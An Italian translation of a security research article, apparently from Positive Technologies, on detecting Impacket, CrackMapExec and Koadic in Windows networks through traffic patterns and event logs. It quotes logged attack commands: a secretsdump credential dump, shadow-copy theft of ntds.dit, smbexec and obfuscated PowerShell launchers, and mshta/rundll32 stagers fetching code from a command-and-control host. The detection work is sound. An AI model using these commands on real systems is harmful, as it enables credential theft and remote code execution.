Come rilevare gli attacchi su un'infrastruttura Windows: esploriamo gli strumenti degli hacker

Come rilevare gli attacchi su un'infrastruttura Windows: esploriamo gli strumenti degli hacker

Ogni anno cresce il numero di attacchi nel settore aziendale: ad esempio, nel 2017 si è registrato un incremento del 13% di incidenti unici rispetto al 2016, e nel 2018 si è registrato un aumento del 27% degli incidenti, rispetto al periodo precedente. In particolare, quelli in cui il principale strumento di lavoro è il sistema operativo Windows. Tra il 2017 e il 2018, i gruppi APT Dragonfly, APT28, APT MuddyWater hanno condotto attacchi contro organizzazioni governative e militari in Europa, Nord America e Arabia Saudita. E hanno utilizzato per questo tre strumenti — Impacket, CrackMapExec e Koadic. Il loro codice sorgente è aperto e disponibile su GitHub.

Va notato che questi strumenti non vengono utilizzati per la penetrazione iniziale, ma per l'evoluzione dell'attacco all'interno dell'infrastruttura. Gli aggressori li impiegano in diverse fasi dell'attacco, che seguono il superamento del perimetro. Questo, peraltro, è difficile da rilevare e spesso solo grazie alla tecnologia di rilevamento delle tracce di compromissione nel traffico di rete o a strumenti che consentono rilevare le azioni attive di un aggressore dopo l'intrusione nella sua infrastruttura. Gli strumenti offrono una moltitudine di funzioni, dalla trasmissione di file all'interazione con il registro e all'esecuzione di comandi su una macchina remota. Abbiamo condotto una ricerca su questi strumenti per determinare la loro attività di rete.

Cosa dovevamo fare:

  • Comprendere come funziona l'arsenale di un hacker. Scoprire cosa è necessario agli attaccanti per sfruttare le vulnerabilità e quali tecnologie possono utilizzare.
  • Trovare ciò che non viene rilevato dai sistemi di sicurezza informatica nelle prime fasi dell'attacco. La fase di ricognizione può essere saltata, sia perché l'attaccante è un insider, sia perché sfrutta una vulnerabilità nell'infrastruttura non precedentemente conosciuta. Si presenta l'opportunità di ricostruire l'intera sequenza delle sue azioni, da qui il desiderio di rilevare i movimenti futuri.
  • Eliminare i falsi positivi dei sistemi di rilevamento delle intrusioni. Non si può dimenticare che, quando si rilevano determinate azioni basate esclusivamente su informazioni raccolte, si possono commettere frequentemente errori. Di solito, nell'infrastruttura ci sono diversi modi, che a prima vista sembrano legittimi, per ottenere informazioni.

Cosa offrono questi strumenti agli aggressori? Se parliamo di Impacket, i malintenzionati possono accedere a un'ampia libreria di moduli utilizzabili in diverse fasi di un attacco successivo al superamento del perimetro. Molti strumenti integrano moduli di Impacket, come nel caso di Metasploit. Questo include dcomexec e wmiexec per l'esecuzione remota di comandi, secretsdump per il recupero delle credenziali dalla memoria, che sono stati aggiunti da Impacket. Di conseguenza, una corretta identificazione delle attività di una tale libreria garantirà anche l'identificazione delle derivazioni.

Gli sviluppatori non hanno scelto a caso la dicitura «Powered by Impacket» per CrackMapExec (o semplicemente CME). Inoltre, CME dispone di funzionalità pronta all'uso per scenari popolari: include sia Mimikatz per il recupero di password o hash, sia l'integrazione di Meterpreter o Empire agent per l'esecuzione remota, e Bloodhound integrato.

Il terzo strumento che abbiamo scelto è Koadic. È relativamente nuovo, presentato alla conferenza internazionale degli hacker DEFCON 25 nel 2017, e si distingue per il suo approccio non convenzionale: funziona tramite HTTP, JavaScript e Microsoft Visual Basic Script (VBS). Questo approccio è definito living off the land: lo strumento utilizza un insieme di dipendenze e librerie integrate in Windows. I creatori lo chiamano COM Command & Control, o C3.

IMPACKET

Le funzionalità di Impacket sono molto ampie, spaziando dalla raccolta di informazioni all'interno di Active Directory e l'estrazione dei dati dai server interni MS SQL, fino alle tecniche per l'ottenimento delle credenziali: include attacchi SMB relay e l'ottenimento del file ntds.dit dal controller di dominio, che contiene gli hash delle password degli utenti. Inoltre, Impacket esegue comandi a distanza utilizzando quattro metodi diversi: tramite WMI, il servizio di gestione del pianificatore di Windows, DCOM e SMB, e necessita di credenziali per farlo.

Secretsdump

Consideriamo secretsdump. Questo modulo può avere come obiettivo sia le macchine degli utenti che i controller di dominio. Con esso è possibile ottenere copie delle aree di memoria LSA, SAM, SECURITY, NTDS.dit, motivo per cui può essere visto in diverse fasi di attacco. Il primo passo dell'operazione del modulo è l'autenticazione tramite SMB, per la quale è necessaria una delle due cose: la password dell'utente o il suo hash per eseguire automaticamente un attacco Pass the Hash. Successivamente, viene effettuata una richiesta per aprire l'accesso al Service Control Manager (SCM) e ottenere l'accesso al registro tramite il protocollo winreg, utilizzando il quale l'attaccante può scoprire le informazioni delle chiavi di interesse e ottenere risultati tramite SMB.

Nella fig. 1 vediamo come avviene l'accesso alla chiave di registro utilizzando il protocollo winreg. A tal fine viene utilizzato il comando DCERPC con opcode 15 — OpenKey.

Come rilevare gli attacchi su un'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 1. Apertura della chiave di registro tramite il protocollo winreg

Successivamente, quando l'accesso tramite chiave è ottenuto, i valori vengono salvati con il comando SaveKey con l'opcode 20. Impacket esegue questa operazione in modo piuttosto specifico. Salva i valori in un file il cui nome è una stringa di 8 caratteri casuali con l'aggiunta di .tmp. Inoltre, il successivo trasferimento di questo file avviene tramite SMB dalla directory System32 (fig. 2).

Come rilevare gli attacchi su un'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 2. Schema per ottenere la chiave di registro da una macchina remota.

Di conseguenza, è possibile rilevare tale attività nella rete attraverso le richieste a determinate diramazioni del registro tramite il protocollo winreg, nomi specifici, comandi e il loro ordine.

Inoltre, questo modulo lascia tracce nel registro eventi di Windows, il che facilita la sua individuazione. Ad esempio, a seguito dell'esecuzione del comando

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

nel registro di Windows Server 2016 vedremo la seguente sequenza di eventi chiave:

1. 4624 — accesso remoto.
2. 5145 — verifica dei diritti di accesso al servizio remoto winreg.
3. 5145 — verifica dei diritti di accesso a un file nella directory System32. Il file ha un nome casuale, come menzionato sopra.
4. 4688 — creazione del processo cmd.exe che avvia vssadmin:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — creazione del processo con il comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 — creazione del processo con il comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 — creazione del processo con il comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Come molti strumenti di post-exploitation, Impacket ha moduli per l'esecuzione remota di comandi. Ci concentreremo su smbexec, che fornisce una shell a riga di comando interattiva su una macchina remota. Questo modulo richiede anche un'autenticazione tramite SMB, sia con una password sia con il suo hash. Nella Fig. 3 vediamo un esempio di funzionamento di questo strumento, in questo caso la console dell'amministratore locale.

Come rilevare gli attacchi su un'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 3. Console interattiva di smbexec

Il primo passo del funzionamento di smbexec, dopo l'autenticazione, è l'apertura dell'SCM con il comando OpenSCManagerW (15). La richiesta è degna di nota: nel campo MachineName ha il valore DUMMY.

Come rilevare gli attacchi su un'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 4. Richiesta per l'apertura del Service Control Manager

Successivamente, viene creato un servizio utilizzando il comando CreateServiceW (12). Nel caso di smbexec, possiamo notare che c'è sempre la stessa logica nella costruzione del comando. Nella Fig. 5, i parametri invariabili del comando sono evidenziati in verde, mentre in giallo è indicato ciò che l'attaccante può modificare. Non è difficile notare che è possibile cambiare il nome del file eseguibile, la sua directory e il file output, ma modificare il resto è molto più complicato, senza alterare la logica del modulo Impacket.

Come rilevare gli attacchi su un'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 5. Richiesta per la creazione di un servizio tramite Service Control Manager

Smbexec lascia anche tracce evidenti nel registro eventi di Windows. Nel registro di Windows Server 2016, per la shell di comando interattiva con il comando ipconfig, vediamo la seguente sequenza chiave di eventi:

1. 4697 — installazione del servizio sulla macchina della vittima:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 — creazione del processo cmd.exe con argomenti dal punto 1.
3. 5145 — verifica dei diritti di accesso al file __output nella directory C$.
4. 4697 — installazione del servizio sulla macchina della vittima.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — creazione del processo cmd.exe con argomenti dal punto 4.
6. 5145 — verifica dei diritti di accesso al file __output nella directory C$.

Impacket è alla base dello sviluppo di strumenti per attacchi. Supporta quasi tutti i protocolli nell'infrastruttura Windows e presenta caratteristiche peculiari. Qui ci sono richieste winreg specifiche, utilizzo dell'API SCM con particolare formazione dei comandi, e formati di nomi file, oltre a condivisioni SMB SYSTEM32.

CRACKMAPEXEC

Lo strumento CME è principalmente progettato per automatizzare quelle azioni routinarie che un attaccante deve eseguire per muoversi all'interno di una rete. Consente di lavorare insieme ai noti agenti Empire e Meterpreter. Per eseguire comandi in modo furtivo, CME può offuscarli. Utilizzando Bloodhound (uno strumento separato per l'intelligence), l'attaccante può automatizzare la ricerca di sessioni attive dell'amministratore di dominio.

Bloodhound

Bloodhound, come strumento autonomo, consente di condurre ricerca avanzata all'interno della rete. Raccoglie dati su utenti, macchine, gruppi e sessioni e viene fornito come script in PowerShell o come file binario. Per raccogliere informazioni, utilizza LDAP o protocolli basati su SMB. Il modulo di integrazione CME consente di caricare Bloodhound sulla macchina della vittima, avviarlo e ricevere i dati raccolti dopo l'esecuzione, automatizzando così le azioni nel sistema e rendendole meno evidenti. L'interfaccia grafica di Bloodhound presenta i dati raccolti sotto forma di grafi, consentendo di trovare il percorso più breve dalla macchina dell'attaccante all'amministratore di dominio.

Come rilevare gli attacchi su un'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 6. Interfaccia di Bloodhound

Per avviare sulla macchina vittima, il modulo crea un'attività utilizzando ATSVC e SMB. ATSVC è l'interfaccia per lavorare con il pianificatore di attività di Windows. CME utilizza la sua funzione NetrJobAdd (1) per creare attività attraverso la rete. Un esempio di ciò che invia il modulo CME è mostrato nella figura 7: questa è una chiamata al comando cmd.exe e codice offuscato sotto forma di argomenti in formato XML.

Come rilevare gli attacchi su un'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 7. Creazione di un'attività tramite CME

Dopo che l'attività è stata inviata per l'esecuzione, la macchina vittima avvia Bloodhound, e ciò può essere osservato nel traffico. Il modulo si caratterizza per le richieste LDAP per ottenere gruppi standard, un elenco di tutte le macchine e utenti nel dominio e ottenere informazioni sulle sessioni utente attive tramite la richiesta SRVSVC NetSessEnum.

Come rilevare gli attacchi su un'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 8. Ottenimento dell'elenco delle sessioni attive tramite SMB

Inoltre, l'avvio di Bloodhound sulla macchina vittima con l'audit attivato è accompagnato da un evento con ID 4688 (creazione di processo) e nome del processo «C:\Windows\System32\cmd.exe». Da notare sono gli argomenti della riga di comando:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101, 116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Molto interessante dal punto di vista della funzionalità e dell'implementazione è il modulo enum_avproducts. WMI consente, tramite il linguaggio di query WQL, di ottenere dati da diversi oggetti di Windows, cosa di cui si avvale essenzialmente questo modulo CME. Esso genera query alle classi AntiSpywareProduct e AntiМirusProduct riguardo ai mezzi di protezione installati sulla macchina vittima. Per ottenere i dati richiesti, il modulo si connette allo spazio dei nomi rootSecurityCenter2, quindi formula una query WQL e riceve una risposta. Nella figura 9 è mostrato il contenuto di tali query e risposte. Nel nostro esempio è stato trovato Windows Defender.

Come rilevare gli attacchi su un'infrastruttura Windows: esploriamo gli strumenti degli hacker
Figura 9. Attività di rete del modulo enum_avproducts

Spesso l'audit WMI (Trace WMI-Activity), nel cui ambito si può trovare informazioni utili sulle query WQL, potrebbe risultare disattivato. Ma se è attivato, in caso di avvio dello script enum_avproducts, verrà registrato un evento con ID 11. Questo evento conterrà il nome dell'utente che ha inviato la query e il nome nello spazio dei nomi rootSecurityCenter2.

Ciascuno dei moduli CME ha presentato i propri artefatti, siano essi specifiche query WQL o la creazione di un tipo specifico di attività nel task scheduler con offuscamento e attività caratteristica di Bloodhound in LDAP e SMB.

KOADIC

Una delle caratteristiche distintive di Koadic è l'uso di interpreti JavaScript e VBScript integrati in Windows. In questo senso, segue la tendenza di vivere off the land — cioè non ha dipendenze esterne e utilizza strumenti standard di Windows. È uno strumento completo di Command & Control (CnC), poiché, dopo l'infezione, viene installato un "impianto" sulla macchina, consentendo il suo controllo. In terminologia Koadic, tale macchina è chiamata "zombie". In caso di mancanza di privilegi per un funzionamento completo sul lato della vittima, Koadic ha la capacità di elevarli, utilizzando tecniche di bypass del controllo degli accessi (UAC bypass).

Come rilevare gli attacchi su un'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 10. Shell di Koadic

La vittima deve avviare autonomamente la comunicazione con il server Command & Control. A tal fine, è necessario contattare un URI previamente preparato e ottenere il corpo principale di Koadic tramite uno degli stager. La Fig. 11 mostra un esempio per lo stager mshta.

Come rilevare gli attacchi su un'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 11. Inizializzazione della sessione con il server CnC

Dalla variabile WS della risposta si comprende che l'esecuzione avviene tramite WScript.Shell e che le variabili STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE contengono informazioni chiave sui parametri della sessione attuale. Questa è la prima coppia di richiesta-risposta in una connessione HTTP con il server CnC. Le richieste successive sono direttamente collegate alla funzionalità dei moduli chiamati (impianti). Tutti i moduli Koadic funzionano solo con una sessione attiva con CnC.

Mimikatz

Così come CME lavora con Bloodhound, Koadic funziona con Mimikatz come programma separato e offre diversi metodi per eseguirlo. Di seguito è riportata una coppia di richiesta-risposta per il caricamento dell'impianto Mimikatz.

Come rilevare gli attacchi su un'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 12. Trasferimento di Mimikatz in Koadic

È possibile notare come sia cambiato il formato URI nella richiesta. È stato aggiunto un valore alla variabile csrf, che è responsabile per il modulo selezionato. Non badate al suo nome; tutti sappiamo che di solito con CSRF si intende qualcos'altro. La risposta ha restituito lo stesso corpo principale di Koadic, a cui è stato aggiunto il codice collegato a Mimikatz. È piuttosto grande, quindi esamineremo i punti chiave. Davanti a noi si trova una libreria Mimikatz codificata in base64, una classe .NET serializzata che la inietterà, e gli argomenti per eseguire Mimikatz. Il risultato dell'esecuzione viene trasmesso in rete in chiaro.

Come rilevare gli attacchi su un'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 13. Risultato dell'esecuzione di Mimikatz sulla macchina remota

Exec_cmd

In Koadic ci sono anche moduli in grado di eseguire comandi in remoto. Qui vedremo sempre lo stesso metodo di generazione URI e le familiari variabili sid e csrf. Nel caso del modulo exec_cmd, nel corpo viene aggiunto un codice capace di eseguire comandi shell. Di seguito è mostrato un tale codice presente nella risposta HTTP del server CnC.

Come rilevare gli attacchi su un'infrastruttura Windows: esploriamo gli strumenti degli hacker
Fig. 14. Codice dell'implant exec_cmd

La variabile GAWTUUGCFI con l'attributo WS noto è necessaria per eseguire il codice. Con essa, l'impianto chiama la shell, elaborando due rami di codice: shell.exec con il ritorno del flusso di output e shell.run senza ritorno.

Koadic non è uno strumento tipico, ma ha i suoi artefatti, tramite i quali può essere individuato nel traffico legittimo:

  • formazione particolare delle richieste HTTP,
  • uso dell'API winHttpRequests,
  • creazione di un oggetto WScript.Shell tramite ActiveXObject,
  • un corpo eseguibile di grandi dimensioni.

La connessione iniziale è avviata da uno stager, quindi è possibile rilevare la sua attività tramite eventi di Windows. Per mshta, questo evento è 4688, che indica la creazione di un processo con l'attributo di avvio:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Durante l'esecuzione di Koadic è possibile vedere anche altri eventi 4688 con attributi che lo caratterizzano bene:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Conclusioni

Il trend del "living off the land" sta guadagnando popolarità tra i criminali informatici. Utilizzano strumenti e meccanismi integrati in Windows per i loro scopi. Vediamo come strumenti popolari come Koadic, CrackMapExec e Impacket, che seguono questo principio, compaiano sempre più frequentemente nei rapporti APT. Il numero di fork di questi strumenti su GitHub è in crescita, e ne appaiono di nuovi (ora sono già circa mille). Il trend sta guadagnando popolarità per la sua semplicità: ai criminali non servono strumenti di terze parti, poiché sono già presenti sui computer delle vittime e aiutano a eludere le difese. Ci concentriamo sull'analisi delle comunicazioni di rete: ogni strumento descritto sopra lascia le proprie tracce nel traffico di rete; un'analisi dettagliata ci ha permesso di addestrare il nostro prodotto. PT Network Attack Discovery scoprire, che alla fine aiuta ad indagare su tutta la catena di incidenti informatici che li coinvolgono.

Autori:

  • Anton Tyurin, capo del dipartimento dei servizi esperti, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, esperto, PT Expert Security Center, Positive Technologies

Fonte: habr.com

Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server 🔥 Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server | ProHoster